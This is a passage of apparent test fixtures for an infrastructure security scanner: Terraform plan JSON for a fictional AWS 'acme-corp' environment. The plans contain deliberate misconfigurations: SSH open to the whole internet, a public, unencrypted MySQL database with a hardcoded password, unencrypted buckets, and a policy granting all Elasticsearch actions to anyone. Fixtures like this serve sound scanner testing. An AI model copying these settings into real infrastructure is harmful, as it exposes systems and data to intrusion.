}\n                  ]\n                }\n              ]\n            }\n          ],\n          \"tags\": {},\n          \"versioning\": [\n            {}\n          ],\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.operations\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"operations\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"bucket\": \"123456789123-acme-corp-operations\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-operations\"\n          },\n          \"versioning\": [\n            {\n              \"enabled\": true,\n              \"mfa_delete\": false\n            }\n          ],\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {},\n          \"versioning\": [\n            {}\n          ],\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket_object.data_object\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket_object\",\n      \"name\": \"data_object\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"cache_control\": null,\n          \"content\": null,\n          \"content_base64\": null,\n          \"content_disposition\": null,\n          \"content_encoding\": null,\n          \"content_language\": null,\n          \"force_destroy\": false,\n          \"key\": \"customer-master.xlsx\",\n          \"metadata\": null,\n          \"object_lock_legal_hold_status\": null,\n          \"object_lock_mode\": null,\n          \"object_lock_retain_until_date\": null,\n          \"source\": \"resources/customer-master.xlsx\",\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-customer-master\"\n          },\n          \"website_redirect\": null\n        },\n        \"after_unknown\": {\n          \"bucket\": true,\n          \"content_type\": true,\n          \"etag\": true,\n          \"id\": true,\n          \"kms_key_id\": true,\n          \"server_side_encryption\": true,\n          \"storage_class\": true,\n          \"tags\": {},\n          \"version_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_security_group.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"Managed by Terraform\",\n          \"name\": \"123456789123-acme-corp-rds-sg\",\n          \"name_prefix\": null,\n          \"revoke_rules_on_delete\": false,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-rds-sg\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"egress\": true,\n          \"id\": true,\n          \"ingress\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_security_group.web-node\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group\",\n      \"name\": \"web-node\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"123456789123-acme-corp Security Group\",\n          \"egress\": [\n            {\n              \"cidr_blocks\": [\n                \"0.0.0.0/0\"\n              ],\n              \"description\": \"\",\n              \"from_port\": 0,\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"protocol\": \"-1\",\n              \"security_groups\": [],\n              \"self\": false,\n              \"to_port\": 0\n            }\n          ],\n          \"ingress\": [\n            {\n              \"cidr_blocks\": [\n                \"0.0.0.0/0\"\n              ],\n              \"description\": \"\",\n              \"from_port\": 22,\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"protocol\": \"tcp\",\n              \"security_groups\": [],\n              \"self\": false,\n              \"to_port\": 22\n            },\n            {\n              \"cidr_blocks\": [\n                \"0.0.0.0/0\"\n              ],\n              \"description\": \"\",\n              \"from_port\": 80,\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"protocol\": \"tcp\",\n              \"security_groups\": [],\n              \"self\": false,\n              \"to_port\": 80\n            }\n          ],\n          \"name\": \"123456789123-acme-corp-sg\",\n          \"name_prefix\": null,\n          \"revoke_rules_on_delete\": false,\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"egress\": [\n            {\n              \"cidr_blocks\": [\n                false\n              ],\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"security_groups\": []\n            }\n          ],\n          \"id\": true,\n          \"ingress\": [\n            {\n              \"cidr_blocks\": [\n                false\n              ],\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"security_groups\": []\n            },\n            {\n              \"cidr_blocks\": [\n                false\n              ],\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"security_groups\": []\n            }\n          ],\n          \"owner_id\": true,\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_security_group_rule.egress\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group_rule\",\n      \"name\": \"egress\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"cidr_blocks\": [\n            \"0.0.0.0/0\"\n          ],\n          \"description\": null,\n          \"from_port\": 0,\n          \"ipv6_cidr_blocks\": null,\n          \"prefix_list_ids\": null,\n          \"protocol\": \"-1\",\n          \"self\": false,\n          \"to_port\": 0,\n          \"type\": \"egress\"\n        },\n        \"after_unknown\": {\n          \"cidr_blocks\": [\n            false\n          ],\n          \"id\": true,\n          \"security_group_id\": true,\n          \"source_security_group_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_security_group_rule.ingress\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group_rule\",\n      \"name\": \"ingress\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"cidr_blocks\": [\n            \"172.16.0.0/16\"\n          ],\n          \"description\": null,\n          \"from_port\": 3306,\n          \"ipv6_cidr_blocks\": null,\n          \"prefix_list_ids\": null,\n          \"protocol\": \"tcp\",\n          \"self\": false,\n          \"to_port\": 3306,\n          \"type\": \"ingress\"\n        },\n        \"after_unknown\": {\n          \"cidr_blocks\": [\n            false\n          ],\n          \"id\": true,\n          \"security_group_id\": true,\n          \"source_security_group_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_subnet.eks_subnet1\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_subnet\",\n      \"name\": \"eks_subnet1\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_ipv6_address_on_creation\": false,\n          \"availability_zone\": \"us-west-2a\",\n          \"cidr_block\": \"10.10.10.0/24\",\n          \"ipv6_cidr_block\": null,\n          \"map_public_ip_on_launch\": true,\n          \"outpost_arn\": null,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-eks-subnet\",\n            \"kubernetes.io/cluster/123456789123-acme-corp-eks\": \"shared\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone_id\": true,\n          \"id\": true,\n          \"ipv6_cidr_block_association_id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_subnet.eks_subnet2\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_subnet\",\n      \"name\": \"eks_subnet2\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_ipv6_address_on_creation\": false,\n          \"availability_zone\": \"us-west-2b\",\n          \"cidr_block\": \"10.10.11.0/24\",\n          \"ipv6_cidr_block\": null,\n          \"map_public_ip_on_launch\": true,\n          \"outpost_arn\": null,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-eks-subnet2\",\n            \"kubernetes.io/cluster/123456789123-acme-corp-eks\": \"shared\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone_id\": true,\n          \"id\": true,\n          \"ipv6_cidr_block_association_id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_subnet.web_subnet\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_subnet\",\n      \"name\": \"web_subnet\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_ipv6_address_on_creation\": false,\n          \"availability_zone\": \"us-west-2a\",\n          \"cidr_block\": \"172.16.10.0/24\",\n          \"ipv6_cidr_block\": null,\n          \"map_public_ip_on_launch\": true,\n          \"outpost_arn\": null,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-subnet\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone_id\": true,\n          \"id\": true,\n          \"ipv6_cidr_block_association_id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_subnet.web_subnet2\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_subnet\",\n      \"name\": \"web_subnet2\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_ipv6_address_on_creation\": false,\n          \"availability_zone\": \"us-west-2b\",\n          \"cidr_block\": \"172.16.11.0/24\",\n          \"ipv6_cidr_block\": null,\n          \"map_public_ip_on_launch\": true,\n          \"outpost_arn\": null,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-subnet2\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone_id\": true,\n          \"id\": true,\n          \"ipv6_cidr_block_association_id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_volume_attachment.ebs_att\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_volume_attachment\",\n      \"name\": \"ebs_att\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"device_name\": \"/dev/sdh\",\n          \"force_detach\": null,\n          \"skip_destroy\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"instance_id\": true,\n          \"volume_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_vpc.eks_vpc\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_vpc\",\n      \"name\": \"eks_vpc\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_generated_ipv6_cidr_block\": false,\n          \"cidr_block\": \"10.10.0.0/16\",\n          \"enable_dns_hostnames\": true,\n          \"enable_dns_support\": true,\n          \"instance_tenancy\": \"default\",\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-eks-vpc\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"default_network_acl_id\": true,\n          \"default_route_table_id\": true,\n          \"default_security_group_id\": true,\n          \"dhcp_options_id\": true,\n          \"enable_classiclink\": true,\n          \"enable_classiclink_dns_support\": true,\n          \"id\": true,\n          \"ipv6_association_id\": true,\n          \"ipv6_cidr_block\": true,\n          \"main_route_table_id\": true,\n          \"owner_id\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_vpc.web_vpc\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_vpc\",\n      \"name\": \"web_vpc\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_generated_ipv6_cidr_block\": false,\n          \"cidr_block\": \"172.16.0.0/16\",\n          \"enable_dns_hostnames\": true,\n          \"enable_dns_support\": true,\n          \"instance_tenancy\": \"default\",\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-vpc\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"default_network_acl_id\": true,\n          \"default_route_table_id\": true,\n          \"default_security_group_id\": true,\n          \"dhcp_options_id\": true,\n          \"enable_classiclink\": true,\n          \"enable_classiclink_dns_support\": true,\n          \"id\": true,\n          \"ipv6_association_id\": true,\n          \"ipv6_cidr_block\": true,\n          \"main_route_table_id\": true,\n          \"owner_id\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"null_resource.push_image\",\n      \"mode\": \"managed\",\n      \"type\": \"null_resource\",\n      \"name\": \"push_image\",\n      \"provider_name\": \"null\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"triggers\": null\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    }\n  ],\n  \"output_changes\": {\n    \"db_app_public_dns\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"db_endpoint\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"ec2_public_dns\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"endpoint\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"kubeconfig-certificate-authority-data\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"public_subnet\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"public_subnet2\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"secret\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"username\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after\": \"123456789123-acme-corp-user\",\n      \"after_unknown\": false\n    },\n    \"vpc_id\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    }\n  },\n  \"prior_state\": {\n    \"format_version\": \"0.1\",\n    \"terraform_version\": \"0.12.23\",\n    \"values\": {\n      \"root_module\": {\n        \"resources\": [\n          {\n            \"address\": \"data.aws_ami.amazon-linux-2\",\n            \"mode\": \"data\",\n            \"type\": \"aws_ami\",\n            \"name\": \"amazon-linux-2\",\n            \"provider_name\": \"aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"architecture\": \"x86_64\",\n              \"arn\": \"arn:aws:ec2:us-west-2::image/ami-0f0a6d00932023856\",\n              \"block_device_mappings\": [\n                {\n                  \"device_name\": \"/dev/xvda\",\n                  \"ebs\": {\n                    \"delete_on_termination\": \"true\",\n                    \"encrypted\": \"false\",\n                    \"iops\": \"0\",\n                    \"snapshot_id\": \"snap-06c1606ba5ca274b1\",\n                    \"volume_size\": \"8\",\n                    \"volume_type\": \"standard\"\n                  },\n                  \"no_device\": \"\",\n                  \"virtual_name\": \"\"\n                }\n              ],\n              \"creation_date\": \"2020-09-22T02:09:24.000Z\",\n              \"description\": \"Amazon Linux 2 AMI 2.0.20200917.0 x86_64 HVM ebs\",\n              \"executable_users\": null,\n              \"filter\": [\n                {\n                  \"name\": \"name\",\n                  \"values\": [\n                    \"amzn2-ami-hvm-*-x86_64-ebs\"\n                  ]\n                },\n                {\n                  \"name\": \"owner-alias\",\n                  \"values\": [\n                    \"amazon\"\n                  ]\n                }\n              ],\n              \"hypervisor\": \"xen\",\n              \"id\": \"ami-0f0a6d00932023856\",\n              \"image_id\": \"ami-0f0a6d00932023856\",\n              \"image_location\": \"amazon/amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs\",\n              \"image_owner_alias\": \"amazon\",\n              \"image_type\": \"machine\",\n              \"kernel_id\": null,\n              \"most_recent\": true,\n              \"name\": \"amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs\",\n              \"name_regex\": null,\n              \"owner_id\": \"137112412989\",\n              \"owners\": [\n                \"amazon\"\n              ],\n              \"platform\": null,\n              \"product_codes\": [],\n              \"public\": true,\n              \"ramdisk_id\": null,\n              \"root_device_name\": \"/dev/xvda\",\n              \"root_device_type\": \"ebs\",\n              \"root_snapshot_id\": \"snap-06c1606ba5ca274b1\",\n              \"sriov_net_support\": \"simple\",\n              \"state\": \"available\",\n              \"state_reason\": {\n                \"code\": \"UNSET\",\n                \"message\": \"UNSET\"\n              },\n              \"tags\": {},\n              \"virtualization_type\": \"hvm\"\n            }\n          },\n          {\n            \"address\": \"data.aws_caller_identity.current\",\n            \"mode\": \"data\",\n            \"type\": \"aws_caller_identity\",\n            \"name\": \"current\",\n            \"provider_name\": \"aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"account_id\": \"123456789123\",\n              \"arn\": \"arn:aws:iam::123456789123:user/barak@bridgecrew.io\",\n              \"id\": \"123456789123\",\n              \"user_id\": \"AIDA2MPWNTLGWKZRRDYTT\"\n            }\n          },\n          {\n            \"address\": \"data.aws_iam_policy_document.iam_policy_eks\",\n            \"mode\": \"data\",\n            \"type\": \"aws_iam_policy_document\",\n            \"name\": \"iam_policy_eks\",\n            \"provider_name\": \"aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"id\": \"189502314\",\n              \"json\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"eks.amazonaws.com\\\"\\n      }\\n    }\\n  ]\\n}\",\n              \"override_json\": null,\n              \"policy_id\": null,\n              \"source_json\": null,\n              \"statement\": [\n                {\n                  \"actions\": [\n                    \"sts:AssumeRole\"\n                  ],\n                  \"condition\": [],\n                  \"effect\": \"Allow\",\n                  \"not_actions\": [],\n                  \"not_principals\": [],\n                  \"not_resources\": [],\n                  \"principals\": [\n                    {\n                      \"identifiers\": [\n                        \"eks.amazonaws.com\"\n                      ],\n                      \"type\": \"Service\"\n                    }\n                  ],\n                  \"resources\": [],\n                  \"sid\": \"\"\n                }\n              ],\n              \"version\": \"2012-10-17\"\n            }\n          },\n          {\n            \"address\": \"data.aws_iam_policy_document.policy\",\n            \"mode\": \"data\",\n            \"type\": \"aws_iam_policy_document\",\n            \"name\": \"policy\",\n            \"provider_name\": \"aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"id\": \"3931805674\",\n              \"json\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"es:*\\\",\\n      \\\"Resource\\\": \\\"*\\\",\\n      \\\"Principal\\\": {\\n        \\\"AWS\\\": \\\"*\\\"\\n      }\\n    }\\n  ]\\n}\",\n              \"override_json\": null,\n              \"policy_id\": null,\n              \"source_json\": null,\n              \"statement\": [\n                {\n                  \"actions\": [\n                    \"es:*\"\n                  ],\n                  \"condition\": [],\n                  \"effect\": \"Allow\",\n                  \"not_actions\": [],\n                  \"not_principals\": [],\n                  \"not_resources\": [],\n                  \"principals\": [\n                    {\n                      \"identifiers\": [\n                        \"*\"\n                      ],\n                      \"type\": \"AWS\"\n                    }\n                  ],\n                  \"resources\": [\n                    \"*\"\n                  ],\n                  \"sid\": \"\"\n                }\n              ],\n              \"version\": \"2012-10-17\"\n            }\n          }\n        ]\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/runner/tf_plan_skip_check_regex/resource/tfplan1.json",
    "content": "{\n  \"format_version\": \"0.1\",\n  \"terraform_version\": \"0.12.23\",\n  \"variables\": {\n    \"ami\": {\n      \"value\": \"ami-09a5b0b7edf08843d\"\n    },\n    \"availability_zone\": {\n      \"value\": \"us-west-2a\"\n    },\n    \"availability_zone2\": {\n      \"value\": \"us-west-2b\"\n    },\n    \"company_name\": {\n      \"value\": \"acme\"\n    },\n    \"dbname\": {\n      \"value\": \"db1\"\n    },\n    \"environment\": {\n      \"value\": \"corp\"\n    },\n    \"neptune-dbname\": {\n      \"value\": \"neptunedb1\"\n    },\n    \"password\": {\n      \"value\": \"Aa1234321Bb\"\n    },\n    \"profile\": {\n      \"value\": \"default\"\n    },\n    \"region\": {\n      \"value\": \"us-west-2\"\n    }\n  },\n  \"planned_values\": {\n    \"outputs\": {\n      \"db_app_public_dns\": {\n        \"sensitive\": false\n      },\n      \"db_endpoint\": {\n        \"sensitive\": false\n      },\n      \"ec2_public_dns\": {\n        \"sensitive\": false\n      },\n      \"endpoint\": {\n        \"sensitive\": false\n      },\n      \"kubeconfig-certificate-authority-data\": {\n        \"sensitive\": false\n      },\n      \"public_subnet\": {\n        \"sensitive\": false\n      },\n      \"public_subnet2\": {\n        \"sensitive\": false\n      },\n      \"secret\": {\n        \"sensitive\": false\n      },\n      \"username\": {\n        \"sensitive\": false,\n        \"value\": \"123456789123-acme-corp-user\"\n      },\n      \"vpc_id\": {\n        \"sensitive\": false\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_db_instance.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_instance\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"allocated_storage\": 20,\n            \"allow_major_version_upgrade\": null,\n            \"apply_immediately\": true,\n            \"auto_minor_version_upgrade\": true,\n            \"backup_retention_period\": 0,\n            \"copy_tags_to_snapshot\": false,\n            \"db_subnet_group_name\": \"sg-123456789123-acme-corp\",\n            \"delete_automated_backups\": true,\n            \"deletion_protection\": null,\n            \"domain\": null,\n            \"domain_iam_role_name\": null,\n            \"enabled_cloudwatch_logs_exports\": null,\n            \"engine\": \"mysql\",\n            \"engine_version\": \"8.0\",\n            \"final_snapshot_identifier\": null,\n            \"iam_database_authentication_enabled\": null,\n            \"identifier\": \"rds-123456789123-acme-corp\",\n            \"instance_class\": \"db.t3.micro\",\n            \"iops\": null,\n            \"max_allocated_storage\": null,\n            \"monitoring_interval\": 0,\n            \"multi_az\": false,\n            \"name\": \"db1\",\n            \"option_group_name\": \"og-123456789123-acme-corp\",\n            \"parameter_group_name\": \"pg-123456789123-acme-corp\",\n            \"password\": \"Aa1234321Bb\",\n            \"performance_insights_enabled\": false,\n            \"publicly_accessible\": true,\n            \"replicate_source_db\": null,\n            \"s3_import\": [],\n            \"security_group_names\": null,\n            \"skip_final_snapshot\": true,\n            \"snapshot_identifier\": null,\n            \"storage_encrypted\": false,\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-rds\"\n            },\n            \"timeouts\": null,\n            \"username\": \"admin\"\n          }\n        },\n        {\n          \"address\": \"aws_db_option_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_option_group\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"engine_name\": \"mysql\",\n            \"major_engine_version\": \"8.0\",\n            \"name\": \"og-123456789123-acme-corp\",\n            \"option\": [],\n            \"option_group_description\": \"Terraform OG\",\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-og\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_db_parameter_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_parameter_group\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"description\": \"Terraform PG\",\n            \"family\": \"mysql8.0\",\n            \"name\": \"pg-123456789123-acme-corp\",\n            \"parameter\": [\n              {\n                \"apply_method\": \"immediate\",\n                \"name\": \"character_set_client\",\n                \"value\": \"utf8\"\n              },\n              {\n                \"apply_method\": \"immediate\",\n                \"name\": \"character_set_server\",\n                \"value\": \"utf8\"\n              }\n            ],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-pg\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_db_subnet_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_subnet_group\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"description\": \"Terraform DB Subnet Group\",\n            \"name\": \"sg-123456789123-acme-corp\",\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"sg-123456789123-acme-corp\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_ebs_snapshot.example_snapshot\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ebs_snapshot\",\n          \"name\": \"example_snapshot\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"description\": \"123456789123-acme-corp-ebs-snapshot\",\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-ebs-snapshot\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_ebs_volume.web_host_storage\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ebs_volume\",\n          \"name\": \"web_host_storage\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"availability_zone\": \"us-west-2a\",\n            \"multi_attach_enabled\": null,\n            \"outpost_arn\": null,\n            \"size\": 1,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-ebs\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_ecr_repository.repository\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ecr_repository\",\n          \"name\": \"repository\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"encryption_configuration\": [],\n            \"image_scanning_configuration\": [],\n            \"image_tag_mutability\": \"MUTABLE\",\n            \"name\": \"123456789123-acme-corp-repository\",\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-repository\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_eks_cluster.eks_cluster\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_eks_cluster\",\n          \"name\": \"eks_cluster\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"enabled_cluster_log_types\": null,\n            \"encryption_config\": [],\n            \"name\": \"123456789123-acme-corp-eks\",\n            \"tags\": null,\n            \"timeouts\": null,\n            \"vpc_config\": [\n              {\n                \"endpoint_private_access\": true,\n                \"endpoint_public_access\": true,\n                \"security_group_ids\": null\n              }\n            ]\n          }\n        },\n        {\n          \"address\": \"aws_elasticsearch_domain.monitoring-framework\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_elasticsearch_domain\",\n          \"name\": \"monitoring-framework\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"cluster_config\": [\n              {\n                \"dedicated_master_count\": null,\n                \"dedicated_master_enabled\": false,\n                \"dedicated_master_type\": null,\n                \"instance_count\": 1,\n                \"instance_type\": \"t2.small.elasticsearch\",\n                \"warm_count\": null,\n                \"warm_enabled\": null,\n                \"warm_type\": null,\n                \"zone_awareness_config\": [],\n                \"zone_awareness_enabled\": null\n              }\n            ],\n            \"cognito_options\": [],\n            \"domain_name\": \"tg-corp-es\",\n            \"ebs_options\": [\n              {\n                \"ebs_enabled\": true,\n                \"iops\": null,\n                \"volume_size\": 30\n              }\n            ],\n            \"elasticsearch_version\": \"2.3\",\n            \"log_publishing_options\": [],\n            \"snapshot_options\": [],\n            \"tags\": null,\n            \"timeouts\": null,\n            \"vpc_options\": []\n          }\n        },\n        {\n          \"address\": \"aws_elasticsearch_domain_policy.monitoring-framework-policy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_elasticsearch_domain_policy\",\n          \"name\": \"monitoring-framework-policy\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"access_policies\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": 